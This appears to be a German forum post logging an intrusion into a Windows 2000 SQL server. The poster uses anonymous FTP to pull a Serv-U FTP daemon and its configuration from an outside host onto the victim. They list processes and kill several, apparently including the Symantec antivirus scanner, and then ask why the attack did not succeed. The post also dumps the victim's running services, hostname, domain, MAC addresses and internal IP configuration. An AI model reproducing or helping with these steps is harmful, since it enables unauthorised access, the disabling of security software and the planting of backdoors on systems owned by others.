Mssql Firewall, AntiVir, Prozesse killen.

Connected to xxx.xxx.xxx.3

open xxx.xxx.xxx.3 
220 Microsoft FTP Service
user anonymous anonymous 
331 Anonymous access allowed, send identity (e-mail name) as password.
230 Anonymous user logged in.
binary 
200 Type set to I.
Local directory now D:\winnt\system32\help.

lcd d:\winnt\system32\help 
cd orig 
550 orig: The system cannot find the file specified. 

get ServUDaemon.exe 
200 PORT command successful.
150 Opening BINARY mode data connection for ServUDaemon.exe(3364352 bytes).
226 Transfer complete.
ftp: 3364352 bytes received in 13.95Seconds 241.12Kbytes/sec.

get ServUDaemon.ini 
200 PORT command successful.
150 Opening BINARY mode data connection for ServUDaemon.ini(1668 bytes).
226 Transfer complete.
ftp: 1668 bytes received in 2.56Seconds 0.65Kbytes/sec.

quit 
221 

---------------------------------------------------------------

 Volume in drive D is Data
 Volume Serial Number is 4A72-C8A0

 Directory of d:\winnt\system32\help

10/19/2005 04:05p <DIR> .
10/19/2005 04:05p <DIR> ..
10/20/2005 08:28a 147 123.txt
10/19/2005 02:58p <DIR> data
10/19/2005 03:45p 35,898 kill.exe
10/20/2005 08:28a 3,364,352 ServUDaemon.exe
10/20/2005 08:28a 1,668 ServUDaemon.ini
10/19/2005 03:45p 18,480 tlist.exe
 5 File(s) 3,420,545 bytes
 3 Dir(s) 426,548,592,640 bytes free

-------------------------------------------------------------

Dann hab ich den Befehl eingegeben um die Prozesse anzeigen zu lassen:

d:\winnt\system32\help\tlist.exe

----------------------------------------------------------

 -2 Idle.exe 
 8 System.exe 
 216 SMSS.exe 
 244 CSRSS.exe 
 240 WINLOGON.exe 
 296 SERVICES.exe 
 308 LSASS.exe 
 416 termsrv.exe 
 524 svchost.exe 
 556 spoolsv.exe 
 620 hpacubin.exe 
 668 ccSetMgr.exe 
 724 svchost.exe 
 876 sqlservr.exe 
 984 network.exe 
1020 regsvc.exe 
1032 
1136 mstask.exe 
1200 Rtvscan.exe 
1264 hpsmhd.exe 
1280 svchost.exe 
1328 CpqRcmc.exe 
1348 dfssvc.exe 
1368 inetinfo.exe 
1544 mssearch.exe 
1648 sysdown.exe 
1088 svchost.exe 
 196 logon.scr.exe 
3644 DLLHOST.exe 
3192 DLLHOST.exe 
3468 CMD.exe 
5692 notepad.exe 
6252 svchost.exe 
10624 IEXPLORE.exe 
1536 WinMgmt.exe 
3068 hpsmhd.exe 
8968 aspnet_wp.exe 
9668 CMD.exe 
9744 tlist.exe 
 -2 _Total.exe 

------------------------------------------------

Dann hab ich folgende Prozesse beendet:

d:\winnt\system32\help\kill.exe 1252
d:\winnt\system32\help\kill.exe 1216
d:\winnt\system32\help\kill.exe 1200
d:\winnt\system32\help\kill.exe 1316
d:\winnt\system32\help\kill.exe 1400
d:\winnt\system32\help\kill.exe 1820
d:\winnt\system32\help\kill.exe 804
d:\winnt\system32\help\kill.exe 356
d:\winnt\system32\help\kill.exe 6344
d:\winnt\system32\help\kill.exe 704

die Prozesse wurden auch erfolgreich gekillt.

Nun habe ich die ServU.exe wieder ausgeführt das Programm reagierte 15 Sekunden nicht und hat den trotzdem nicht gehackt.

These Windows 2000 services are started:


 Alerter
 Application Management
 Array Configuration Utility
 Automatic Updates
 Background Intelligent Transfer Service
 COM+ Event System
 Computer Browser
 DHCP Client
 Distributed File System
 Distributed Link Tracking Client
 DNS Client
 Event Log
 HP ProLiant Remote Monitor Service
 HP ProLiant System Shutdown Service
 IIS Admin Service
 IPSEC Policy Agent
 Logical Disk Manager
 Messenger
 Microsoft Search
 MSSQLSERVER
 Net Logon
 Network Connections
 Network Manager
 NT LM Security Support Provider
 Plug and Play
 Print Spooler
 Protected Storage
 Remote Access Connection Manager
 Remote Procedure Call (RPC)
 Remote Registry Service
 Removable Storage
 ReportServer
 RunAs Service
 Security Accounts Manager
 Server
 Simple Mail Transport Protocol (SMTP)
 Symantec AntiVirus
 Symantec Settings Manager
 System Event Notification
 Task Scheduler
 TCP/IP NetBIOS Helper Service
 Telephony
 Terminal Services
 Windows Management Instrumentation
 Windows Management Instrumentation Driver Extensions
 Windows Time
 Workstation
 World Wide Web Publishing Service

The command completed successfully.





The syntax of this command is:



NET STOP service

Windows 2000 IP Configuration



 Host Name . . . . . . . . . . . . : prescientsql00
 Primary DNS Suffix . . . . . . . : 4Prescient.local
 Node Type . . . . . . . . . . . . : Broadcast

 IP Routing Enabled. . . . . . . . : No

 WINS Proxy Enabled. . . . . . . . : No

 DNS Suffix Search List. . . . . . : 4Prescient.local

Ethernet adapter Network LAN:



 Connection-specific DNS Suffix . : 
 Description . . . . . . . . . . . : HP NC3163 Fast Ethernet NIC
 Physical Address. . . . . . . . . : 00-02-A5-D9-AC-AB

 DHCP Enabled. . . . . . . . . . . : No

 IP Address. . . . . . . . . . . . : 10.10.7.2

 Subnet Mask . . . . . . . . . . . : 255.255.255.0

 Default Gateway . . . . . . . . . : 10.10.7.254

 DNS Servers . . . . . . . . . . . : 10.10.7.4

Ethernet adapter Local Area Connection 2:



 Connection-specific DNS Suffix . : 
 Description . . . . . . . . . . . : HP NC3163 Fast Ethernet NIC #2
 Physical Address. . . . . . . . . : 00-02-A5-D9-AC-AA

 DHCP Enabled. . . . . . . . . . . : No

 IP Address. . . . . . . . . . . . : 10.100.1.5

 Subnet Mask . . . . . . . . . . . : 255.255.255.0

 Default Gateway . . . . . . . . . : 10.100.1.1

 DNS Servers . . . . . . . . . . . :